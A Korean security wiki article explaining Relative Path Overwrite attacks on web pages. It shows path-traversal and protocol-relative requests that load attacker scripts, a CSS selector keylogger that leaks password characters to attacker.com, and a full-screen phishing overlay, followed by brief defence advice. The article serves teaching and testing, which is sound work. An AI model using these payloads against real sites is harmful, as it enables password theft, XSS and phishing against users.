Relative Path Overwrite

RPO Attack

Introduction

RPO(Relative Path Overwrite)는 relative URL, 즉 상대 경로 기반의 URL을 덮어써서 의도하지 않은 동작을 수행하는 공격 방법입니다. Relative Path Confusion이라고도 불리며 본 문서에서는 RPO로 통일하여 작성하곘습니다.

RPO를 웹에서 이야기할 땐 보통 시스템에서 사용하는 Relative Path(e.g ../../app)와 Absolute Path(e.g /app) 과 약간 다른점이 있으니 참고하시길 바래요.

Path Description Example
Absolute URL Host가 포함된 URL <script src=”https://www.hahwul.com/file.js”>
Relative URL Host가 포함되지 않은 URL <src=”/file.js”>

link, script 등 resource를 읽어오는 과정에서 Host가 포함되지 않은 URL을 Relative URL이라고 하고, 이를 Overwrite할 수 있는 경우에 resource의 주소 등을 조작하여 공격자가 원하는 액션으로 유도할 수 있게 됩니다. (대표적으로 XSS)

대표적인 방법으로는 Path traversal과 동일하게 ../ 를 이용해 상위 경로의 다른 파일을 로드하거나, Protocol-relative URL 을 이용하여 Host를 공격자가 원하는 도메인으로 변경하여 공격을 수행할 수 있습니다.

Path traversal

[ Req ]
GET /page?sink=../../../upload/my_script.js

[ Res ]
...
<script src="asset/js/vendor/../../../upload/my_script.js"></script>
...

Ptorocol-relative URL

[ Req ]
GET /page?test=//www.hahwul.com/xss.js

[ Res ]
...
<script src="//www.hahwul.com/xss.js"></script>
...

Offensive techniques

Detect

link, script 등 resource를 로드하는 부분 등을 우리가 컨트롤할 수 있는 수단이 있는지 체크해야합니다. 방법적인건 너무나도 많겠지만, 대표적으로는 ver, version 파라미터를 통해 resource를 동적으로 로드하는 경우입니다.

Origin

GET /page?ver=v1.0.0

Attack

GET /page?ver=../../../../blahblah

또한 WAS의 설정과 정책에 따라서 URL 자체에 URL 인코딩된 ../(%2F)를 삽입하여 Resource 컨트롤을 유도해야합니다. 테스트 중 resource를 컨트롤할 수 있는 부분을 확인했다면 이 부분을 이용하여 다른 취약점과 연계되는 악용 시나리오를 구상해야합니다.

Exploitation

XSS

대표적인 공격방법으론 XSS와의 연계가 있습니다. 공격자의 remote 서버, 또는 해당 도메인에 업로드가 가능한 경로를 찾아 xss 코드가 포함된 js 파일을 업로드하고, Relative Path Overwrite를 통해 이를 트리거하는 형태로 동작할 수 있습니다.

[ Req ]
GET /page?sink=../../../upload/my_script.js

[ Res ]
...
<script src="asset/js/vendor/../../../upload/my_script.js"></script>
...

Sequential Import Chaining

d0nutptr이 소개한 방법으로 CSS를 컨트롤할 수 있는 경우 이를 이용하여 Keylogger와 같은 페이로드를 구성할 수 있습니다.

먼저 remote 서버에 아래와 같은 형태의 CSS 코드를 준비합니다. 해당 코드는 name이 csrf인 input 태그에 적용되는 스타일 시트로 value의 여부에 맞게 background-image를 교체합니다.

input[name=password][value^=a]{
    background: url('https://attacker.com/a');
}
input[name=password][value^=b]{
    background: url('https://attacker.com/b');
}
/* ... */
input[name=password][value^=9]{
    background: url('https://attacker.com/9');   
}

결국 이 css가 로드된 상태에서 사용자가 해당 input box에 a를 눌렀다면, background가 https://attacker.com/a로 바뀌게 되며 브라우저에서 이미지를 로드하기 위해 웹 요청을 발생시키고, 결국 공격자는 사용자가 a를 눌렀다는 것을 알 수 있습니다. 이를 통해서 Keylogger와 비슷한 페이로드를 만들 수 있습니다.

이러한 방법은 CSS의 Attribute Selectors의 특징을 이용한 기술이며, 자세한 내용은 “Sequential Import Chaining을 이용한 CSS 기반 데이터 탈취” 글을 참고해주세요.

Phishing

JS나 CSS를 컨트롤할 수 있다면 페이지의 디자인이나 구조를 바꾸는건 아주 쉽니다. CSS Injection과 동일하게 position:fix 등으로 레이어를 분리하고, 악의적인 컨텐츠를 담아 피싱등을 유도할 수 있습니다.

.attack {
	position: fixed;
	top: 0;
	left: 0;
    width: 100%;
    height: 100%;
    z-index: 999999;
}

https://www.hahwul.com/2021/06/16/css-injection-bypassing-trick/

Defensive techniques

대응방안은 간단합니다. resource는 페이지의 동작과 디자인을 정의할 수 있기 때문에 가급적이면 사용자에게 통제권을 주지 않는 것이 가장 좋습니다. 만약 주어야한다면 path에 대한 통제와 사용자 입력에 대한 검증 과정이 필요합니다.

Tools

  • https://github.com/d0nutptr/sic
  • https://www.zaproxy.org/docs/alerts/10051/

Articles

  • https://www.hahwul.com/2021/06/16/css-injection-bypassing-trick/
  • https://www.hahwul.com/2022/02/28/sequential-import-chaining/

References

  • http://www.thespanner.co.uk/2014/03/21/rpo/